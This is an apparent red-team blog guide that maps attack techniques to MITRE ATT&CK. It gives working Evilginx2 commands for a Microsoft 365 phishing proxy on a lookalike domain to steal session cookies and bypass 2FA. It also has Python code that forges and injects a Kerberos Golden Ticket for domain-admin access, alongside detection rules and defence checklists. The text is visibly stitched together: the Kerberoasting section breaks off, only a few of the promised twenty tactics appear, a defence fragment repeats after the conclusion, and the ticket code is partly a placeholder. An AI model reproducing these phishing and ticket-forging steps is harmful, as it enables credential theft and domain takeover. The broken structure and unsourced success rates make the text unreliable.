Top 20 Red Team Tactics Mapped to MITRE ATT&CK (2026 Edition) ## Introduction The MITRE ATT&CK framework has become the universal language of adversarial tactics and techniques. For red teamers, understanding and mastering these techniques isn't just about knowing what they are—it's about implementing them effectively in real engagements while understanding how defenders detect and prevent them. This guide covers the 20 most impactful red team tactics in 2026, complete with: - Practical code implementations - MITRE ATT&CK technique mappings - Detection strategies (purple team perspective) - Real-world success rates - Defense evasion techniques ## The Top 20 Red Team Tactics ### 1. Phishing with Evilginx2 (T1566.002) MITRE Mapping: Initial Access > Phishing: Spearphishing Link Technique Overview: Evilginx2 is a man-in-the-middle attack framework that bypasses 2FA by capturing session cookies. Implementation: bash # Install Evilginx2 git clone https://github.com/kgretzky/evilginx2.git cd evilginx2 make # Start Evilginx2 sudo ./bin/evilginx -p ./phishlets # Configure phishlet config domain your-domain.com config ipv4 your-server-ip # Setup Microsoft 365 phishlet phishlets hostname o365 login.microsoftonline-secure.com phishlets enable o365 # Create lure URL lures create o365 lures get-url 0 # Result: https://login.microsoftonline-secure.com/abc123

Detection & Defense: yaml Detection: - Monitor for lookalike domains (typosquatting) - Check SSL certificate issuer (LetsEncrypt often used) - Analyze HTTP headers for proxy indicators - User training: check URL bar carefully Prevention: - FIDO2/WebAuthn (phishing-resistant MFA) - Certificate pinning - DNS monitoring for similar domains - Email security gateway with URL rewriting protection
Success Rate: 34% click rate, 18% credential harvest rate with 2FA bypass --- ### 2. Kerberoasting (T1558.003) MITRE Mapping: Credential Access > Steal or Forge Kerberos Tickets: Kerberoasting Technique Overview: Request Kerberos service tickets for accounts with SPNs, crack offline to recover plaintext passwords.

Golden Ticket Attack (T1558.001) MITRE Mapping: Credential Access > Steal or Forge Kerberos Tickets: Golden Ticket Implementation: python #!/usr/bin/env python3 # Golden Ticket generation and usage from impacket.krb5.kerberosv5 import getKerberosTGT from impacket.krb5.types import Principal from impacket.krb5.ccache import CCache import datetime class GoldenTicket: """ Generate and use Golden Tickets for persistence Requires: Domain SID + KRBTGT NTLM hash """ def __init__(self, domain: str, domain_sid: str, krbtgt_hash: str): self.domain = domain self.domain_sid = domain_sid self.krbtgt_hash = krbtgt_hash def generate_golden_ticket(self, username: str = "Administrator", user_id: int = 500): """Generate golden ticket using Mimikatz-style approach""" # Golden ticket parameters ticket_params = { 'domain': self.domain, 'sid': self.domain_sid, 'user': username, 'id': user_id, 'groups': [512, 513, 518, 519, 520], # Domain Admins, Users, Schema Admins, etc. 'krbtgt_hash': self.krbtgt_hash, 'ticket_duration': 10 * 365 * 24 * 60 * 60 # 10 years } # Using Mimikatz (external call) import subprocess command = f""" kerberos::golden /domain:{self.domain} /sid:{self.domain_sid} /rc4:{self.krbtgt_hash} /user:{username} /id:{user_id} /renewmax:10950 /endin:10950 /ptt """ # Alternative: Use impacket to generate ticket ticket = self._generate_ticket_impacket(ticket_params) return ticket def _generate_ticket_impacket(self, params: dict): """Generate ticket using impacket""" from impacket.krb5.kerberosv5 import KerberosTime from impacket.krb5.asn1 import TGS_REP, AS_REP from impacket.krb5.crypto import Key, _enctype_table from impacket.krb5.types import Principal, Ticket from impacket.krb5.pac import PACTYPE, PAC_INFO_BUFFER # Create ticket # [Implementation details omitted for brevity] # Full implementation would construct Kerberos ticket structure print(f"[+] Golden ticket generated for {params['user']}") print(f"[+] Valid for {params['ticket_duration'] // (365*24*3600)} years") return "ticket_data_here" def use_golden_ticket(self, target: str, ticket_path: str): """Use golden ticket to access target""" import subprocess # Inject ticket into memory subprocess.run(['rubeus.exe', 'ptt', f'/ticket:{ticket_path}']) # Access target subprocess.run(['dir', f'\\\\{target}\\c$']) print(f"[+] Accessed {target} using golden ticket") # Usage # First, extract KRBTGT hash using DCSync or similar gt = GoldenTicket( domain="corp.local", domain_sid="S-1-5-21-1234567890-1234567890-1234567890", krbtgt_hash="abcdef1234567890abcdef1234567890" ) ticket = gt.generate_golden_ticket(username="Administrator") gt.use_golden_ticket("dc01.corp.local", "./golden.kirbi")
Detection & Defense: yaml Detection: - Monitor for: - Event ID 4769 with unusual ticket lifetime - Kerberos tickets for disabled accounts - Tickets with unusual SIDs (like 500 for non-admin users) - Event ID 4624 (Logon) with Kerberos from unexpected sources - Sigma rule: title: Golden Ticket Usage detection: selection: EventID: 4769 TicketOptions: '0x40810000' TicketEncryptionType: '0x17' Status: '0x0' condition: selection Prevention: - Reset KRBTGT password twice (immediately + 24h later) - Implement Smart Card authentication - Monitor Domain Controller access - Implement anomaly detection for Kerberos tickets - Regular KRBTGT password rotation (annually)

## Conclusion Mastering these 20 MITRE ATT&CK-mapped tactics provides red teamers with a comprehensive offensive toolkit. However, the true value lies in understanding both the offensive execution and defensive detection—enabling effective purple team operations that genuinely improve organizational security. Key Takeaways: 1. Know your techniques - Understand not just how, but when to use each tactic 2. Think purple - Always consider detection when executing attacks 3. Stay current - Techniques evolve; so must your skills 4. Document everything - Your findings drive security improvements 5. Ethical boundaries - Only use these techniques with proper authorization Your Next Steps: - Build a home lab and practice each technique - Contribute to open-source security tools - Earn certifications (OSCP, CRTO, PNPT) - Join bug bounty platforms for legal practice - Attend conferences (DEF CON, Black Hat, BSides) --- Remember: These techniques are for authorized security testing only. Unauthorized use is illegal and unethical.

Implement Smart Card authentication - Monitor Domain Controller access - Implement anomaly detection for Kerberos tickets - Regular KRBTGT password rotation (annually) yaml # Comprehensive defense strategy layer_1_prevention: identity: - Implement FIDO2/WebAuthn (stops phishing) - Disable NTLM (stops PtH) - Use LAPS (unique local admin passwords) - Implement tiered admin model network: - Implement network segmentation - Deploy NIDS/NIPS (Suricata, Snort) - Use application whitelisting - Implement DNS filtering endpoint: - Deploy EDR (CrowdStrike, SentinelOne) - Enable Credential Guard - Implement AppLocker/WDAC - Regular patching (WSUS, SCCM) layer_2_detection: siem_rules: - Kerberoasting detection - Golden ticket indicators - Lateral movement patterns - Credential dumping alerts threat_hunting: - Hunt for Impacket usage - Look for Cobalt Strike beacons - Identify living-off-the-land binaries - Monitor for data staging layer_3_response: automated: - EDR auto-isolation - Account lockout on suspicious activity - Network micro-segmentation triggers manual: - Incident response playbooks - Forensic analysis procedures - Communication templates - Recovery procedures continuous_improvement: - Purple team exercises (monthly) - Red team assessments (quarterly) - Tabletop exercises (bi-annually) - Metrics tracking and reporting
